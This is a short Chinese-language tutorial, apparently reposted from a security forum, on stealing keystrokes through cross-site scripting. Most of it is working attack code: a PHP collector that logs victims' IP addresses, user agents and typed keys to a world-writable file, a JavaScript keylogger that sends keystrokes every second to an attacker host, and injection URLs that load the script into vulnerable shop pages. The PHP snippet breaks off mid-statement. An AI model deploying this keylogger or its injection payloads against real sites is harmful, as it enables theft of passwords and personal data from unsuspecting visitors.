转自国外安全研究 论坛
这种方法是非常公开的,但很多人仍然不知道它。
cookie时,从目标不能重复使用,您可以使用此方法。 你需要一台主机上传:
g.php
PHP Code:
<?php
$Keylog = $_GET["c"];
$reffer = $_SERVER['HTTP_REFERER'];
$ip = $_SERVER['REMOTE_ADDR'];
$date=date ("l dS of F Y h:i:s A");
$port = $_SERVER['REMOTE_PORT'];
$user_agent = $_SERVER['HTTP_USER_AGENT'];
$file = fopen('data.txt', 'a');
fwrite($file, 'Ip: '.$ip."\n");
fwrite($file, 'Port: '.$port."\n");
fwrite($file, 'Refferer: '.$reffer."\n");
fwrite($file, 'User Agent: '.$user_agent."\n");
fwrite($file, 'Date: '.$date."\n");
fwrite($file, $Keylog."\n");
fwrite($file, "---------------------------\n\n");
fclose($fi
k.js:
PHP Code:
var keys='';
document.onkeypress = function(e) {
get = window.event?event:e;
key = get.keyCode?get.keyCode:get.charCode;
key = String.fromCharCode(key);
keys+=key;
}
window.setInterval(function(){
new Image().src = 'http://yourhost.com/g.php?c='+keys;
keys = '';
}, 1000);
一个新的文件名 为data.txt的和chmod 777 data.txt中, 您可以使用它像这样:
Code:
http://www.2cto.com /shop.php?article=12<script src="http://yourhost.com/k.js"></script>
或
代码:
http://monkey.com/shop.php?article=12<script language=" Java Script" src="http://yourhost.com/k.js"></script>
查看更多关于XSS的键盘记录 - 网站安全 - 自学php的详细内容...